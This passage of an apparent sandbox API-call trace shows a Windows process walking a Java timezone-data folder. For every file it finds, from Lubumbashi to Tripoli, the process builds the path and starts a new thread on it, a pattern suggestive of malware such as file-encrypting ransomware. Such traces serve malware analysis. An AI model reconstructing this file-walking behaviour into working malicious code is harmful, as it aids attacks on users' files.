lpThreadId=0x0) returned 0x5b4 [0173.070] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lubumbashi", cAlternateFileName="LUBUMB~1")) returned 1 [0173.070] wcscmp (_String1="Lubumbashi", _String2=".") returned 1 [0173.070] wcscmp (_String1="Lubumbashi", _String2="..") returned 1 [0173.070] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0e80 [0173.070] wcscpy (in: _Dest=0x8d0e80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0173.070] wcscat (in: _Dest=0x8d0e80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0173.070] wcscat (in: _Dest=0x8d0e80, _Source="Lubumbashi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lubumbashi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lubumbashi" [0173.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b8 [0173.071] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lusaka", cAlternateFileName="")) returned 1 [0173.071] wcscmp (_String1="Lusaka", _String2=".") returned 1 [0173.071] wcscmp (_String1="Lusaka", _String2="..") returned 1 [0173.071] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8cb0 [0173.071] wcscpy (in: _Dest=0x8e8cb0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0173.072] wcscat (in: _Dest=0x8e8cb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0173.072] wcscat (in: _Dest=0x8e8cb0, _Source="Lusaka" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lusaka") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lusaka" [0173.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8cb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5bc [0173.077] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Malabo", cAlternateFileName="")) returned 1 [0173.077] wcscmp (_String1="Malabo", _String2=".") returned 1 [0173.077] wcscmp (_String1="Malabo", _String2="..") returned 1 [0173.077] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e88f0 [0173.077] wcscpy (in: _Dest=0x8e88f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0173.078] wcscat (in: _Dest=0x8e88f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0173.078] wcscat (in: _Dest=0x8e88f0, _Source="Malabo" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Malabo") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Malabo" [0173.078] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e88f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c0 [0173.079] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maputo", cAlternateFileName="")) returned 1 [0173.079] wcscmp (_String1="Maputo", _String2=".") returned 1 [0173.079] wcscmp (_String1="Maputo", _String2="..") returned 1 [0173.079] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8d28 [0173.079] wcscpy (in: _Dest=0x8e8d28, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0173.079] wcscat (in: _Dest=0x8e8d28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0173.079] wcscat (in: _Dest=0x8e8d28, _Source="Maputo" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Maputo") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Maputo" [0173.079] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc [0173.080] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maseru", cAlternateFileName="")) returned 1 [0173.080] wcscmp (_String1="Maseru", _String2=".") returned 1 [0173.080] wcscmp (_String1="Maseru", _String2="..") returned 1 [0173.080] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8878 [0173.080] wcscpy (in: _Dest=0x8e8878, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0173.081] wcscat (in: _Dest=0x8e8878, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0173.081] wcscat (in: _Dest=0x8e8878, _Source="Maseru" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Maseru") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Maseru" [0173.081] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d0 [0173.084] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mbabane", cAlternateFileName="")) returned 1 [0173.084] wcscmp (_String1="Mbabane", _String2=".") returned 1 [0173.084] wcscmp (_String1="Mbabane", _String2="..") returned 1 [0173.084] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8e8ff8 [0173.084] wcscpy (in: _Dest=0x8e8ff8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0173.084] wcscat (in: _Dest=0x8e8ff8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0173.084] wcscat (in: _Dest=0x8e8ff8, _Source="Mbabane" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Mbabane") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Mbabane" [0173.084] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8ff8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x688 [0173.086] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x49, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mogadishu", cAlternateFileName="MOGADI~1")) returned 1 [0173.086] wcscmp (_String1="Mogadishu", _String2=".") returned 1 [0173.086] wcscmp (_String1="Mogadishu", _String2="..") returned 1 [0173.086] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0c80 [0173.086] wcscpy (in: _Dest=0x8d0c80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0173.086] wcscat (in: _Dest=0x8d0c80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0173.086] wcscat (in: _Dest=0x8d0c80, _Source="Mogadishu" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Mogadishu") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Mogadishu" [0173.086] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc [0173.088] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monrovia", cAlternateFileName="")) returned 1 [0173.088] wcscmp (_String1="Monrovia", _String2=".") returned 1 [0173.088] wcscmp (_String1="Monrovia", _String2="..") returned 1 [0173.088] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e9430 [0173.088] wcscpy (in: _Dest=0x8e9430, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0173.088] wcscat (in: _Dest=0x8e9430, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0173.088] wcscat (in: _Dest=0x8e9430, _Source="Monrovia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Monrovia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Monrovia" [0173.088] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e9430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe2c [0173.089] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nairobi", cAlternateFileName="")) returned 1 [0173.089] wcscmp (_String1="Nairobi", _String2=".") returned 1 [0173.089] wcscmp (_String1="Nairobi", _String2="..") returned 1 [0173.089] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8e8da0 [0173.089] wcscpy (in: _Dest=0x8e8da0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0173.089] wcscat (in: _Dest=0x8e8da0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0173.089] wcscat (in: _Dest=0x8e8da0, _Source="Nairobi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Nairobi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Nairobi" [0173.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4 [0173.090] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ndjamena", cAlternateFileName="")) returned 1 [0173.090] wcscmp (_String1="Ndjamena", _String2=".") returned 1 [0173.090] wcscmp (_String1="Ndjamena", _String2="..") returned 1 [0173.090] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8800 [0173.090] wcscpy (in: _Dest=0x8e8800, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0173.090] wcscat (in: _Dest=0x8e8800, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0173.090] wcscat (in: _Dest=0x8e8800, _Source="Ndjamena" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ndjamena") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ndjamena" [0173.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x750 [0173.092] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Niamey", cAlternateFileName="")) returned 1 [0173.092] wcscmp (_String1="Niamey", _String2=".") returned 1 [0173.092] wcscmp (_String1="Niamey", _String2="..") returned 1 [0173.092] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e94a8 [0173.092] wcscpy (in: _Dest=0x8e94a8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0173.092] wcscat (in: _Dest=0x8e94a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0173.092] wcscat (in: _Dest=0x8e94a8, _Source="Niamey" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Niamey") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Niamey" [0173.092] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e94a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1420 [0173.378] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nouakchott", cAlternateFileName="NOUAKC~1")) returned 1 [0173.378] wcscmp (_String1="Nouakchott", _String2=".") returned 1 [0173.378] wcscmp (_String1="Nouakchott", _String2="..") returned 1 [0173.378] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0000 [0173.378] wcscpy (in: _Dest=0x8d0000, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0173.379] wcscat (in: _Dest=0x8d0000, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0173.379] wcscat (in: _Dest=0x8d0000, _Source="Nouakchott" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Nouakchott") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Nouakchott" [0174.203] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1554 [0174.204] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ouagadougou", cAlternateFileName="OUAGAD~1")) returned 1 [0174.204] wcscmp (_String1="Ouagadougou", _String2=".") returned 1 [0174.204] wcscmp (_String1="Ouagadougou", _String2="..") returned 1 [0174.204] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8d0c80 [0174.204] wcscpy (in: _Dest=0x8d0c80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0174.204] wcscat (in: _Dest=0x8d0c80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0174.204] wcscat (in: _Dest=0x8d0c80, _Source="Ouagadougou" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ouagadougou") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ouagadougou" [0174.204] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x868 [0174.205] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Porto-Novo", cAlternateFileName="PORTO-~1")) returned 1 [0174.205] wcscmp (_String1="Porto-Novo", _String2=".") returned 1 [0174.205] wcscmp (_String1="Porto-Novo", _String2="..") returned 1 [0174.205] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0e80 [0174.205] wcscpy (in: _Dest=0x8d0e80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0174.205] wcscat (in: _Dest=0x8d0e80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0174.206] wcscat (in: _Dest=0x8d0e80, _Source="Porto-Novo" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Porto-Novo") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Porto-Novo" [0174.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x864 [0174.212] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sao_Tome", cAlternateFileName="")) returned 1 [0174.212] wcscmp (_String1="Sao_Tome", _String2=".") returned 1 [0174.212] wcscmp (_String1="Sao_Tome", _String2="..") returned 1 [0174.212] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e9430 [0174.212] wcscpy (in: _Dest=0x8e9430, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0174.212] wcscat (in: _Dest=0x8e9430, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0174.212] wcscat (in: _Dest=0x8e9430, _Source="Sao_Tome" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Sao_Tome") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Sao_Tome" [0174.212] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e9430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x135c [0174.213] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tripoli", cAlternateFileName="")) returned 1 [0174.213] wcscmp (_String1="Tripoli", _String2=".") returned 1 [0174.213] wcscmp (_String1="Tripoli", _String2="..") returned 1 [0174.213] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8e8ff8 [0174.213] wcscpy (in: _Dest=0x8e8ff8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0174.213] wcscat (in: _Dest=0x8e8ff8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0174.213] wcscat (in: _Dest=0x8e8ff8, _Source="Tripoli" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Tripoli") returned="C:\\Program Files 